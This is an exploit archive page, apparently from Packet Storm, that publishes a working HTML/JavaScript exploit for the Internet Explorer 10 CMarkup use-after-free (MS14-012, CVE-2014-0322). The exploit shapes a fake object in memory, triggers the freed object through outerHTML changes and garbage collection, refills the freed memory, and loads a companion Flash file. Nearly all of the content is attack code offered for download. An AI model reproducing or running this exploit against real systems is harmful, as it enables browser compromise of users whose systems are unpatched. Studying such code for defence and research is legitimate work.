what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MS14-012 Internet Explorer CMarkup Use-After-Free

MS14-012 Internet Explorer CMarkup Use-After-Free
Posted Apr 14, 2014
Authored by Jean-Jamil Khalife

Microsoft Internet Explorer CMarkup use-after-free exploit that demonstrates the issue documented in MS14-012.

tags | exploit
advisories | CVE-2014-0322
SHA-256 | c372cfa21ed6ed039af78c69c1242e4a591d2b3c923280149f5e686dbcd28be0

MS14-012 Internet Explorer CMarkup Use-After-Free

Change Mirror Download
<!--
MS14-012 Internet Explorer CMarkup Use-After-Free
Vendor Homepage: http://www.microsoft.com
Version: IE 10
Date: 2014-03-31
Exploit Author: Jean-Jamil Khalife
Tested on: Windows 7 SP1 x64 (fr, en)
Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
Home: http://www.hdwsec.fr
Blog : http://www.hdwsec.fr/blog/
MS14-012 / CVE-2014-0322

Generation:
c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf

E-DB Note: http://www.exploit-db.com/sploits/32851-AsXploit.as

-->

<html>
<head>
</head>
<body>

<script>

var g_arr = [];
var arrLen = 0x250;

function dword2data(dword)
{
var d = Number(dword).toString(16);
while (d.length < 8)
d = '0' + d;

return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

function eXpl()
{
var a=0;

for (a=0; a < arrLen; a++) {
g_arr[a] = document.createElement('div');
}

// Build a new object
var b = dword2data(0x19fffff3);
while (b.length < 0x360)
{
// mov eax,dword ptr [esi+98h]
// ...
// mov eax,dword ptr [eax+8]
// and dword ptr [eax+2F0h],0FFFFFFBFh
if (b.length == (0x98 / 2))
{
b += dword2data(0x1a000010);
}
// mov ecx,dword ptr [edx+94h]
// mov eax,dword ptr [ecx+0Ch]
else if (b.length == (0x94 / 2))
{
b += dword2data(0x1a111111);
}
// mov eax,dword ptr [edx+15Ch]
// mov ecx,dword ptr [eax+edx*8]
else if (b.length == (0x15c / 2))
{
b += dword2data(0x42424242);
}
else
{
b += dword2data(0x19fffff3);
}
}

var d = b.substring(0, ( 0x340 - 2 )/2);

// trigger
try{
this.outerHTML=this.outerHTML
}
catch(e){

}

CollectGarbage();

// Replace freed object
for (a=0; a < arrLen; a++)
{
g_arr[a].title = d.substring(0, d.length);
}
}

// Trigger the vulnerability
function trigger()
{
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = eXpl;
var c = document.createElement('SELECT');
c = b.appendChild(c);
}



</script>
<embed src=AsXploit.swf width="10" height="10"></embed>
</body>
</html>


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close